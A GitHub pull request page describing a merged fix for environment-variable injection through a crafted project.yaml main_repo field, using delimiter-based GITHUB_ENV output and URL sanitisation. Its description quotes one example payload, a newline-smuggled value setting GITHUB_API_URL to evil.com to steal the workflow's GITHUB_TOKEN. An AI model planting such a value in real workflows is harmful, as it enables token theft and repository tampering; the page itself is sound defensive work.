Fix GITHUB_ENV injection via crafted project.yaml main_repo#15285
Merged
Fix GITHUB_ENV injection via crafted project.yaml main_repo#15285
Conversation
Use delimiter-based GITHUB_ENV format (NAME<<UUID) in save_env() to prevent environment variable injection through newline characters. Add _sanitize_repo_url() to validate and strip control characters from project.yaml main_repo URLs before use.
Collaborator
|
/gcbrun skip |
DavidKorczynski
approved these changes
Apr 2, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
An attacker can inject arbitrary env vars into the PR helper workflow by embedding newlines in
main_repo(e.g."https://repo\nGITHUB_API_URL=https://evil.com"). This exfiltratesGITHUB_TOKENwithpull-requests: writescope.save_env(): switch to delimiter-based format (NAME<<UUID) structurally immune to injection_sanitize_repo_url(): strip control chars + validate scheme viaurlparseNew tests in
pr_helper_test.pycovering injection scenarios and URL format regression.b/483022611